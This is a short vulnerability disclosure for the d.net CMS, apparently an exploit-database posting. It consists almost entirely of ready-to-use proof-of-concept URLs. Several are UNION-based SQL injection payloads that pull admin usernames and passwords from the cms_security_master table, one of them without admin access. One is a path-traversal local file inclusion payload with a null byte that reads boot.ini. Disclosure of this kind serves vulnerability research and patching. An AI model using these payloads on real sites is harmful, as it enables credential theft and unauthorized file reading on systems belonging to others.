d.net CMS LFI / SQL Injection

`###############################################################################################################################################  
[+] d.net CMS (LFI/SQLI) Multiple Remote Vulnerabilities  
[+] Discovered By SirGod  
[+] http://insecurity-ro.org  
[+] http://h4cky0u.org  
###############################################################################################################################################  
  
[+] Download : http://sourceforge.net/projects/dnet/  
  
[+] SQL Injection  
  
PoC's  
  
- No admin required  
  
http://127.0.0.1/path/index.php?page=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,  
6,7+from+cms_security_master+where+id=1--  
  
- Admin required  
  
http://127.0.0.1/path/dnet_admin/index.php?edit_id=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,  
6,7,8,9+from+cms_security_master+where+id=1--&_p=1&type=news  
  
http://127.0.0.1/path/dnet_admin/index.php?edit_id=1&_p=null+union+all+select+1,2,concat_ws(0x3a,username,password),4,  
5,6,7+from+cms_security_master+where+id=1--&type=news  
  
[+] Local File Inclusion  
  
- PoC  
  
- Admin required  
  
http://127.0.0.1/path/dnet_admin/index.php?edit_id=2&_p=2&type=../../../../../../boot.ini%00  
  
###############################################################################################################################################  
  
`